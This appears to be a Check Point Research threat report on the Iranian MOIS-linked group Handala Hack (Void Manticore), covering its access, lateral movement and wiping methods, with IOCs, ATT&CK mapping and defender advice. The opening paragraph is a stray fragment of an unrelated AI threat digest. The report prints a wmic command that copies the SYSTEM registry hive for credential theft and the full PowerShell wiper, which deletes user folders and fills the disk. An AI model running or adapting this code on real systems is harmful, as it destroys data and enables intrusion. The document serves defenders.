Adoption trends further amplify the challenge. Over the last couple of months, organizations used 10 different GenAI tools on average, reflecting multi-tool environments. At the user level, an average employee generated 69 GenAI prompts per month. As prompt volume grows, the possibility of data exposure events scales accordingly, reinforcing the need for security policies, visibility, and real-time prevention controls.

The post AI Threat Landscape Digest January-February 2026 appeared first on Check Point Research.

Key Findings

• Handala Hack is an online persona operated by Void Manticore (aka Red Sandstorm, Banished Kitten), an actor affiliated with Iranian Ministry of Intelligence and Security (MOIS)
• Additional personas associated with this actor include Karma and Homeland Justice, which have been used in targeted operations against Israel and Albania
• Handala continues to rely on longstanding TTPs, primarily conducting quick, hands-on activity within victim networks and employing multiple wiping methods simultaneously
• In parallel, some newly observed TTPs include the deployment of NetBird to tunnel traffic into the network, as well as the use of an AI-assisted PowerShell script for wiping activity

Introduction

Handala Hack, also tracked by Check Point Research as Void Manticore, is an Iranian threat actor that is known for multiple destructive wiping attacks combined with “hack and leak” operations. The threat actor operates several online personas, with the most prominent among them being Homeland Justice, maintained from mid-2022 specifically for multiple attacks against government, telecom, and other sectors in Albania, as well as Handala Hack, which has been responsible for multiple intrusions in Israel and recently expanding its targeting to US-based enterprises such as medical technology giant Stryker.

The techniques, tactics, and procedures (TTPs) associated with Void Manticore intrusions remained largely consistent throughout 2024 to 2026, as the group continued to rely primarily on manual, hands-on operations, off-the-shelf wipers, and publicly available deletion and encryption tools. Accordingly, our previous research on the actor, published in early 2025, remains highly relevant to understanding their activity. Void Manticore has historically used both custom-built and publicly available tools, while also relying on underground criminal services to obtain initial access and malware.

As the group’s operations expanded in scope, with recent attacks targeting U.S. organizations, we decided to share our observations on this cluster’s activity, with a particular focus on recent TTPs and newly identified indicators. Because the group operates primarily through manual, hands-on activity, its indicators tend to be short-lived and consist largely of commercial VPN services, open-source software, and publicly available offensive security tools.

Background

“Handala Hack” is an online persona operated by Void Manticore (Red Sandstorm, Banished Kitten), a MOIS-affiliated threat actor, and appears to draw its name and imagery from the Palestinian cartoon character Handala. The persona has been used extensively since late 2023 and represents one of the group’s three primary operational fronts. The other two are Karma, which was likely completely replaced by Handala, and Homeland Justice, a persona the group continues to use in operations targeting Albania.

Based on our observations, intrusions linked to all three personas exhibit highly similar TTPs, as well as code overlaps in the wipers they deploy. Another distinctive characteristic shared by Karma and “Homeland Justice” is the collaboration with Scarred Manticore, a separate Iranian threat actor. In the case of Handala and Karma, we have also observed incidents in which the victim-facing group (i.e., messaging within the wipers, notes left in a compromised environment) was presented as Karma, while the stolen data was ultimately leaked through Handala.

One possible explanation is that Karma and Handala initially represented two separate teams or operational efforts within the same organization, but later converged under a single brand. This would be consistent with Karma’s complete disappearance and Handala’s emergence as the dominant public-facing persona.

According to public reporting, Void Manticore overlaps with activity linked to the MOIS Internal Security Deputy, particularly its Counter-Terrorism (CT) Division, operating under the supervision of Seyed Yahya Hosseini Panjaki. Panjaki was reportedly killed in the opening phase of Israel’s strikes on Iran in early March 2026.

Initial Access

Supply Chain Attacks

Handala has consistently targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access. Throughout the last months, we identified hundreds of logon and brute-force attempts against organizational VPN infrastructure linked to Handala-associated infrastructure. This activity typically originates from commercial VPN nodes and is frequently tied to default hostnames in the format DESKTOP-XXXXXX OR WIN-XXXXXX.

After the internet shutdown in Iran in January, we observed similar activity originating from Starlink IP ranges, and it has continued since. This has occurred in parallel with a decline in the actor’s operational security, as the group has also begun connecting directly to victims from Iranian IP addresses.

Previously, the adversary generally maintained stronger operational discipline, typically egressing through the commercial VPN segment 169.150.227.X while operating against targets in Israel. In some cases, however, the VPN connection failed, exposing communications from Iranian IP addresses or from a virtual private server. Since the start of the war, the actor has struggled to maintain this level of operational security. At times, it successfully egressed through an Israeli node, 146.185.219[.]235, assessed to be linked to a VPN service, although this differed from the segment previously used.

Activity Before Impact

In a recent intrusion attributed to Handala, initial access is believed to have been established well before the destructive phase, with network access dating back several months. This earlier activity likely provided the group with persistent access and the Domain Administrator credentials required to carry out the attack. In the hours leading up to the destructive activity, Handala appeared to validate its access and test authentication using the compromised credentials.

It is unclear whether this activity is directly associated with Handala, as it slightly differs from their typical TTPs. The actor disabled Windows Defender protections and executed multiple reconnaissance and credential-theft operations. Shortly afterwards, the attacker attempted to retrieve an additional payload from a dedicated command-and-control server (107.189.19[.]52).

The adversary then proceeded with credential extraction using multiple techniques. These included dumping the LSASS process using comsvcs.dll via rundll32.exe, as well as exporting sensitive registry hives such as HKLM. In parallel, the attacker executed ADRecon (named dra.ps1), a PowerShell-based reconnaissance framework used to enumerate Active Directory environments. At this point, it likely achieved Domain Admin credentials used in “Handala”s wiping attack.

wmic.exe /node:[REDACTED_HOSTNAME] /user:[REDACTED] /password:[REDACTED] process call create "cmd.exe /c   copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system  c:\users\public”

Lateral Movement

Handala is known to operate primarily in a manual, hands-on manner, with lateral movement conducted largely through extensive use of RDP to move between systems within a compromised environment. To reach hosts that were not directly accessible from outside the network, the group was observed deploying NetBird, a platform designed to create secure, private zero-trust mesh networks.

The deployment of NetBird was performed manually. The attackers first connected to compromised hosts via RDP and then used the local web browser to download the software directly from the official NetBird website.

By installing NetBird on multiple machines within the environment, the attackers were able to establish internal connectivity between systems and operate more efficiently. This approach enabled them to accelerate destructive activity while maintaining control of the operation from multiple footholds inside the network. During the incident, we observed at least five distinct attacker-controlled machines operating simultaneously within the environment.

Wiping Operations

During the destructive phase of the attack, we observed the group deploying four distinct wiping techniques in parallel, likely to maximize impact and inflict the greatest possible damage. To further increase the effect, the threat actor used Group Policy to distribute the different wipers across the network.

Handala Wiper

The first stage involved the deployment of a custom wiper, referred to as Handala Wiper (in some instances named handala.exe).

The wiper was distributed across the network as a scheduled task using Group Policy logon scripts, which executed a batch file named handala.bat. This script simply triggered the execution of two wiper components – the executable and the PowerShell script. Notably, the executable itself was launched remotely from the Domain Controller (DC) and was not written to disk on the affected machines. The malware overwrites file contents across the system and additionally leverages MBR-based wiping techniques to corrupt or destroy files on the system, contributing to significant data loss.

Handala PowerShell Wiper

As a final stage of the destructive operation, the attackers deployed an additional custom PowerShell-based wiper. Similar to the previous component, this script was also distributed through Group Policy logon scripts, allowing it to propagate across multiple systems within the network.

The PowerShell wiper performs a straightforward but effective operation: it enumerates all files within users directories and deletes them, further compounding the damage caused by the initial wiping activity. Based on the code structure and the detailed comments, it is likely that this PowerShell script was developed with AI assistance.

$usersFolder = C:\Users
 
# Ensure the folder exists
if (Test-Path $usersFolder) {
    # Get all items in C:\Users, but not the Users folder itself
    $items = Get-ChildItem -Path $usersFolder -Recurse
 
    # Remove each item (files and subfolders) inside C:\Users
    foreach ($item in $items) {
        try {
            Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop
        } catch {
            Write-Host Could not delete: $($item.FullName)
        }
    }
}
 
 
 
$sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar
$destinationFolder = C:\users
 
 
if (!(Test-Path $destinationFolder)) {
    New-Item -ItemType Directory -Path $destinationFolder | Out-Null
}
 
$driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\')
 
$i = 0
 
while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) {
    Copy-Item $sourceFile $destinationFolder\Handala_$i.gif
    $i++
}

Use of Disk Encryption for Destruction

In addition to the custom wiping tools, we observed the attackers attempting to leverage VeraCrypt, a legitimate and widely used disk encryption utility. In this case, the attacker connected to the compromised host via RDP and used the system’s default web browser to download the software directly from the official website. By encrypting the system drives using a legitimate tool, the attackers added an additional layer to the destructive process. This technique not only increases the operational impact but can also complicate recovery efforts, as encrypted disks may remain inaccessible even if other wiping components fail or are only partially successful.

Manual Deletion

In some cases, Handala Hack operators manually delete virtual machines directly from the virtualization platform or files from compromised machines. This straightforward process involves logging in via RDP, selecting all files, and deleting them. We observed this behavior in several incidents, and it is also documented in Handala Hack’s own videos and leaked materials.

Summary

In this report, we detailed the background of the “Handala Hack” persona and its links to Void Manticore, an actor affiliated with Iran’s Ministry of Intelligence and Security (MOIS). Handala is not the only persona maintained by this actor, which operates several fronts in campaigns targeting the United States, Israel, and Albania.

Like many destructive threat actors, Handala relies on relatively simple TTPs, largely aiming for quick, opportunistic wins through hands-on operations against its targets. These activities include gaining initial access through compromised credentials, moving laterally via RDP and basic tunneling tools, and deploying wipers alongside manual destructive actions. Their modus operandi has not shifted significantly, and strengthening defenses against these techniques remains an effective way to counter this threat.

Recommendations for Defenders

• Enforce multi-factor authentication, especially for remote access and privileged accounts
• Monitor for the use of compromised credentials and suspicious authentication activity, with an emphasis on the following:
  • Logins from countries not previously observed for your organization or specific users
  • Unusual access patterns, including:
    • First-time logins outside typical hours
    • Multiple failed logins followed by success
    • New device registrations
    • Unusual data transfer volumes during VPN sessions
    • Authentication from new ASN/hosting providers
  • Restrict access from high-risk geographies and infrastructure
    • Block inbound connections from Iran at the perimeter and on remote access services (VPN/SSO), unless there is a verified business need
    • Block or tightly restrict Starlink IP ranges, given observed abuse in Iranian actor operations
    • If full blocking is not feasible, implement conditional access controls, increased authentication requirements, and enhanced monitoring for these ranges
  • Consider temporarily tightening remote access policies If operationally possible, temporarily restrict VPN connectivity to to business related countries only, with exceptions approved based on business need (e.g., whitelisted users/locations, dedicated jump hosts, or managed devices only).
• Restrict and harden RDP access across the environment; disable it where not operationally required. Actively search for RDP access from machines with the default Windows naming conventions (i.e DESKTOP-XXXXXX OR WIN-XXXXXXXX), specially outside of working hours
• Monitor for the use of potentially unwanted software, including remote management and monitoring (RMM) tools, VPN applications such as NetBird, and tunneling utilities such as SSH for windows

IOCs

Type	IOC
Handala Wiper	5986ab04dd6b3d259935249741d3eff2
Handala Powershell Wiper	3cb9dea916432ffb8784ac36d1f2d3cd
VeraCrypt Installer	3236facc7a30df4ba4e57fddfba41ec5
NetBird Installer	3dfb151d082df7937b01e2bb6030fe4a
NetBird	e035c858c1969cffc1a4978b86e90a30
Handala VPS	82.25.35[.]25
Handala VPS	31.57.35[.]223
Handala VPS	107.189.19[.]52
VPN exit node used by Handala	146.185.219[.]235
Starlink IP range used by Handala	188.92.255.X
Starlink IP range used by Handala	209.198.131.X
Commercial VPN IP range used by Handala	149.88.26.X
Commercial VPN IP range used by Handala	169.150.227.X

Handala Machine Names
WIN-P1B7V100IIS
DESKTOP-FK1NPHF
DESKTOP-R1FMLQP
WIN-DS6S0HEU0CA
DESKTOP-T3SOB36
WIN-GPPA5GI4QQJ
VULTR-GUEST
DESKTOP-HU45M79
DESKTOP-TNFP4JF
DESKTOP-14O69KQ
DESKTOP-9KG46L1
DESKTOP-G2MH4KD
WIN-DS6S0HEU0CA
WIN-GPPA5GI4QQJ

MITRE ATT&CK Breakdown

ATT&CK Tactic	Technique	Observed Activity
Initial Access	T1133 – External Remote Services	Use of compromised VPN access for entry into victim environments.
Initial Access	T1078.002 – Valid Accounts: Domain Accounts	Use of stolen/supplied credentials, including Domain Admin credentials.
Initial Access	T1199 – Trusted Relationship	Targeting of IT and service providers.
Credential Access	T1110 – Brute Force	Repeated logon and brute-force attempts against VPN infrastructure.
Credential Access	T1003.001 – OS Credential Dumping: LSASS Memory	LSASS dumping via rundll32 and comsvcs.dll.
Credential Access	T1003.002 – OS Credential Dumping: Security Account Manager	Export of sensitive registry hives for credential extraction.
Discovery	T1087.002 – Account Discovery: Domain Account	ADRecon used to enumerate the Active Directory environment.
Lateral Movement	T1021.001 – Remote Services: Remote Desktop Protocol	Extensive hands-on lateral movement over RDP.
Command and Control	T1572 – Protocol Tunneling	NetBird used to tunnel traffic and reach internal hosts.
Execution	T1105 – Ingress Tool Transfer	NetBird and VeraCrypt downloaded directly onto victim systems.
Execution	T1047 – Windows Management Instrumentation	WMIC was used to run commands.
Execution / Persistence	T1484.001 – Group Policy Modification	Wipers distributed via GPO.
Execution / Persistence	T1037.003 – Network Logon Script	Logon scripts used to trigger destructive components.
Execution	T1053.005 – Scheduled Task	Handala wiper launched as a scheduled task.
Execution	T1059.001 – PowerShell	AI-assisted PowerShell wiper used for destructive activity.
Impact	T1561.002 – Disk Structure Wipe	MBR-based wiping by the custom Handala wiper.
Impact	T1485 – Data Destruction	File deletion, manual deletion, and destructive cleanup.
Impact	T1486 – Data Encrypted for Impact	VeraCrypt used to encrypt disks as part of the attack.

The post “Handala Hack” – Unveiling Group’s Modus Operandi appeared first on Check Point Research.